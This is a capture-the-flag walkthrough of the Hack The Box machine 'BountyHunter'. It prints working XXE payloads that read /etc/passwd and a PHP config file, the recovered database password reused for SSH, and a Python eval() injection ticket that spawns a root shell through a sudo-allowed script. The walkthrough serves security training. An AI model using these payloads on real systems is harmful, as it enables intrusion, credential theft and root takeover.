HTB - BountyHunter
Overview
Enumeration
βββ(htb)β(k1tγΏred)-[~/Documents/boxes/htb/bountyhunter]
ββ$ export target=10.10.11.100
βββ(htb)β(k1tγΏred)-[~/Documents/boxes/htb/bountyhunter]
ββ$ nmap -sC -sV -v -T4 $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 22:17 EDT
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Port Scan
Reconnaissance Methodology:
Initial port scanning using Nmap with service detection and version enumeration to identify open ports and running services on the target host.
Key Findings:
- SSH Service: OpenSSH 8.2p1 running on port 22
- Web Server: Apache 2.4.41 running on port 80
- Operating System: Ubuntu Linux
- Web Application: "Bounty Hunters" application
Next Steps:
- Web enumeration and directory discovery
Web Enumeration
Looking at the site, we see a mention of Burp and a menu with a contact page and a portal.



After browsing these pages and reviewing the source code of each, we find something interesting on the log_submit.php page, a script is being used named: /resources/bountylog.js
//JavaScript code from /resources/bountylog.js
function returnSecret(data) {
return Promise.resolve($.ajax({
type: "POST",
data: {"data":data},
url: "tracker_diRbPr00f314.php"
}));
}
async function bountySubmit() {
try {
var xml = `<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>${$('#exploitTitle').val()}</title>
<cwe>${$('#cwe').val()}</cwe>
<cvss>${$('#cvss').val()}</cvss>
<reward>${$('#reward').val()}</reward>
</bugreport>`
let data = await returnSecret(btoa(xml));
$("#return").html(data)
}
catch(error) {
console.log('Error:', error);
}
}
XML External Entity Injection
Vulnerability Analysis:
This JavaScript code constructs an XML document using user input from form fields and sends it to a PHP backend for processing. The vulnerability lies in the fact that the XML parser on the server side is likely configured to process external entities. This is a classic [XML External Entity (XXE) vulnerability](/posts/xxe-attacks).
Potential Vector:
By injecting malicious XML entities into the form fields, an attacker can:
- Read sensitive files from the server (file:// protocol)
- Perform server-side request forgery (SSRF) attacks
- Access internal network resources
- Potentially execute remote code depending on parser configuration
MITRE ATT&CK: T1190 - Exploit Public-Facing Application
Related: XXE Attacks: Understanding and Exploiting XML External Entity Vulnerabilities
Weβll also have a look at directories and files:
βββ(htb)β(k1tγΏred)-[~/Documents/boxes/htb/bountyhunter]
ββ$ feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.100/ -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.10.11.100/
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π² Extensions β [php]
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 309c http://10.10.11.100/js => http://10.10.11.100/js/
301 GET 9l 28w 310c http://10.10.11.100/css => http://10.10.11.100/css/
200 GET 1l 44w 2532c http://10.10.11.100/resources/jquery.easing.min.js
200 GET 5l 15w 125c http://10.10.11.100/portal.php
200 GET 64l 232w 2682c http://10.10.11.100/resources/lato.css
200 GET 80l 248w 3228c http://10.10.11.100/resources/monsterat.css
200 GET 248l 761w 12807c http://10.10.11.100/assets/img/avataaars.svg
200 GET 69l 210w 2424c http://10.10.11.100/js/scripts.js
200 GET 139l 444w 35267c http://10.10.11.100/assets/img/portfolio/safe.png
200 GET 195l 683w 66699c http://10.10.11.100/assets/img/portfolio/cabin.png
200 GET 178l 601w 46744c http://10.10.11.100/assets/img/portfolio/game.png
200 GET 151l 616w 50204c http://10.10.11.100/assets/img/portfolio/circus.png
200 GET 150l 506w 43607c http://10.10.11.100/assets/img/portfolio/submarine.png
200 GET 122l 415w 30702c http://10.10.11.100/assets/img/portfolio/cake.png
200 GET 8l 29w 28898c http://10.10.11.100/assets/img/favicon.ico
301 GET 9l 28w 313c http://10.10.11.100/assets => http://10.10.11.100/assets/
200 GET 10240l 19373w 187375c http://10.10.11.100/css/styles.css
200 GET 24l 44w 594c http://10.10.11.100/resources/bountylog.js
200 GET 6l 34w 210c http://10.10.11.100/resources/README.txt
200 GET 7l 1031w 84152c http://10.10.11.100/resources/bootstrap.bundle.min.js
200 GET 2l 1297w 89476c http://10.10.11.100/resources/jquery.min.js
200 GET 0l 0w 0c http://10.10.11.100/db.php
200 GET 5l 108280w 1194961c http://10.10.11.100/resources/all.js
200 GET 388l 1470w 25169c http://10.10.11.100/
200 GET 7l 567w 48945c http://10.10.11.100/resources/bootstrap_login.min.js
200 GET 4l 1298w 86659c http://10.10.11.100/resources/jquery_login.min.js
200 GET 388l 1470w 25169c http://10.10.11.100/index.php
200 GET 20l 63w 617c http://10.10.11.100/log_submit.php
301 GET 9l 28w 317c http://10.10.11.100/assets/img => http://10.10.11.100/assets/img/
Letβs see if we can confirm a potential XXE vulnerability by sending a POST request using the form on the site and reviewing the data in BurpSuite:
XXE Payload Test
Request
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 227 Origin: http://10.10.11.100 Connection: keep-alive Referer: http://10.10.11.100/log_submit.php Priority: u=0
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5UZXN0IFRpdGxlPC90aXRsZT4KCQk8Y3dlPkNXRS0xMDA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjEwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
Response
HTTP/1.1 200 OK Date: Sat, 30 Aug 2025 04:02:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 271 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
If DB were ready, would have added: <table> <tr> <td>Title:</td> <td>Test Title</td> </tr> <tr> <td>CWE:</td> <td>CWE-100</td> </tr> <tr> <td>Score:</td> <td>10</td> </tr> <tr> <td>Reward:</td> <td>1000</td> </tr> </table>

Exploitation
To generate a payload, we can take the request value and convert from Base64, adjust and then convert back to Base64 and re-send it in Burp repeater:
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5UZXN0IFRpdGxlPC90aXRsZT4KCQk8Y3dlPkNXRS0xMDA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjEwMDA8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
From Base64
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>Test Title</title>
<cwe>CWE-100</cwe>
<cvss>10</cvss>
<reward>1000</reward>
</bugreport>7
Create a Payload
Review payloads for XXE: https://github.com/payloadbox/xxe-injection-payload-list
Add a few lines to the existing POST request and adjust it as follows:
- Paste payload as seen below
- &xxe; between title tag
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&xxe;</title>
<cwe>100</cwe>
<cvss>10</cvss>
<reward>1000</reward>
</bugreport>
Convert back to Base64 and URL encode using Cyberchef:
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCgkJPCFET0NUWVBFIGZvbyBbICANCgkJPCFFTEVNRU5UIGZvbyBBTlk%2BDQoJCTwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BXT4NCgkJPGJ1Z3JlcG9ydD4NCgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4NCgkJPGN3ZT4xMDA8L2N3ZT4NCgkJPGN2c3M%2BMTA8L2N2c3M%2BDQoJCTxyZXdhcmQ%2BMTAwMDwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4%3D
Replace the payload in Burpsuite after data= with your new payload and re-send it:
Crafted Payload Test
Request
POST /tracker_diRbPr00f314.php HTTP/1.1 Host: 10.10.11.100 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 353 Origin: http://10.10.11.100 Connection: keep-alive Referer: http://10.10.11.100/log_submit.php Priority: u=0
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCgkJPCFET0NUWVBFIGZvbyBbICANCgkJPCFFTlRJVFkgYWMgU1lTVEVNICJwaHA6Ly9maWx0ZXIvcmVhZD1jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9kYi5waHAiPl0%2BDQoJCTxidWdyZXBvcnQ%2BDQoJCTx0aXRsZT4mYWM7PC90aXRsZT4NCgkJPGN3ZT4xMDA8L2N3ZT4NCgkJPGN2c3M%2BMTA8L2N2c3M%2BDQoJCTxyZXdhcmQ%2BMTAwMDwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4%3D
Response
HTTP/1.1 200 OK Date: Sat, 30 Aug 2025 04:54:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2099 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
If DB were ready, would have added: <table> <tr> <td>Title:</td> <td>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin development:x:1000:1000:Development:/home/development:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin </td> </tr> <tr> <td>CWE:</td> <td>100</td> </tr> <tr> <td>Score:</td> <td>10</td> </tr> <tr> <td>Reward:</td> <td>1000</td> </tr> </table>
Now that we have confirmed XXE, we can start to enumerate the file system on the web host. Earlier in our enumeration we discovered a few files using feroxbuster
, in particular we found db.php. This file may hold key configuration data so itβs worth checking out.
Executing the same payload as before but targeted at db.php
yielded no results. Using the same github repo, I had success using the XXE Access Control Bypass for PHP by base64 encoding the response as follows;
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>
<bugreport>
<title>∾</title>
<cwe>100</cwe>
<cvss>10</cvss>
<reward>1000</reward>
</bugreport>
Base64
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4NCgkJPCFET0NUWVBFIGZvbyBbICANCgkJPCFFTlRJVFkgYWMgU1lTVEVNICJwaHA6Ly9maWx0ZXIvcmVhZD1jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Zhci93d3cvaHRtbC9kYi5waHAiPl0%2BDQoJCTxidWdyZXBvcnQ%2BDQoJCTx0aXRsZT4mYWM7PC90aXRsZT4NCgkJPGN3ZT4xMDA8L2N3ZT4NCgkJPGN2c3M%2BMTA8L2N2c3M%2BDQoJCTxyZXdhcmQ%2BMTAwMDwvcmV3YXJkPg0KCQk8L2J1Z3JlcG9ydD4%3D
And the response:
HTTP/1.1 200 OK
Date: Sat, 30 Aug 2025 05:05:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 509
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
</tr>
<tr>
<td>CWE:</td>
<td>100</td>
</tr>
<tr>
<td>Score:</td>
<td>10</td>
</tr>
<tr>
<td>Reward:</td>
<td>1000</td>
</tr>
</table>
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
User Flag
Now that we have a potential credential, the first thing I like to check is password re-use. Reviewing the initial /etc/passwd return earlier we can see an account named development
. The initial NMAP scan also tells us that SSH is available on the host so weβll try login:
development:m19RoAU0hP41A1sTsq6K
βββ(htb)β(k1tγΏred)-[~/Documents/boxes/htb/bountyhunter]
ββ$ ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 30 Aug 2025 05:10:53 AM UTC
System load: 0.0
Usage of /: 23.7% of 6.83GB
Memory usage: 13%
Swap usage: 0%
Processes: 214
Users logged in: 0
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb0:a989
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$
Privilege Escalation
Now that we have an SSH session as development, lets see what is available.
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Privilege Escalation Vector
Privilege Escalation Analysis:
The sudo -l
command reveals that the development user can run a specific Python script with root privileges without requiring a password. This is a classic privilege escalation vector.
Key Findings:
- Target Script:
/opt/skytrain_inc/ticketValidator.py
- Python Version: Python 3.8
- Privilege Level: Root (NOPASSWD)
- No Password Required: This makes exploitation easier
Attack Vector:
Since we can run a Python script as root, we need to:
- Examine the script for potential vulnerabilities
- Look for ways to inject malicious code or commands
- Check if the script reads user input that we can control
- Identify any file operations that could be exploited
OWASP Top 10: A01:2021 - Broken Access Control
/opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
Python eval() Command Injection
Vulnerability Analysis:
This code contains a critical security vulnerability due to the use of Python's eval()
function with user-controlled input. The eval()
function executes arbitrary Python code, making it extremely dangerous when used with untrusted input.
Code Flow Analysis:
- Input Validation: Checks if the line starts with "**"
- Ticket Code Extraction: Removes "**" and takes the first part before "+"
- Modulo Check: Ensures the ticket code % 7 == 4
- Dangerous Evaluation: Uses
eval()
on the entire line content - Validation: Checks if result > 100
Why eval() is Vulnerable:
- Arbitrary Code Execution:
eval()
executes any valid Python expression - No Input Sanitization: The code only checks format, not content
- Privilege Escalation: Running as root via sudo makes this critical
- Bypass Techniques: Attackers can inject malicious Python code
Attack Vector:
An attacker can craft a ticket file with malicious Python code:
- Format:
**102+__import__('os').system('/bin/bash -p')
- First Part:
102
(satisfies modulo check: 102 % 7 = 4) - Malicious Part:
__import__('os').system('/bin/bash -p')
- Result:
eval()
executes the system command as root
Security Implications:
- Remote Code Execution (RCE): Complete system compromise
- Privilege Escalation: Root access via sudo
- Data Exfiltration: Access to sensitive files
- Persistence: Ability to maintain access
Secure Alternatives:
- Input Validation: Strict regex patterns for expected format
OWASP Top 10: A03:2021 - Injection
CWE: CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code
Found some example invalid tickets:
development@bountyhunter:~$ ls /opt/skytrain_inc/
invalid_tickets ticketValidator.py
development@bountyhunter:~$ ls /opt/skytrain_inc/invalid_tickets/
390681613.md 529582686.md 600939065.md 734485704.md
development@bountyhunter:~$ ls /opt/skytrain_inc/^C
development@bountyhunter:~$ ls /opt/skytrain_inc/^C
development@bountyhunter:~$ cat /opt/skytrain_inc/invalid_tickets/390681613.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**31+410+86**
##Issued: 2021/04/06
#End Ticket
Based on the logic in the python script, we can create a file in .md that meets the requirements and add something extra to execute. I was pretty lazy and asked chatGPT to give me a number that is divisible by 7 with a remainder of 4 that is > 100 which landed me on 102.
The python script has an eval function that we can take advantage of.
End Result /tmp/ticket.md
I used one of the invalid tickets in /opt/ as a base for my ticket.
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**102+__import__('os').system('/bin/bash -p')
Root Flag
development@bountyhunter:/tmp$ nano ticket.md
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: New Haven
root@bountyhunter:/tmp# cat /root/root.txt
<REDACTED FLAG>
root@bountyhunter:/tmp# cat /tmp/ticket.md
# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**102+__import__('os').system('/bin/bash -p')
root@bountyhunter:/tmp#
root@bountyhunter:/tmp#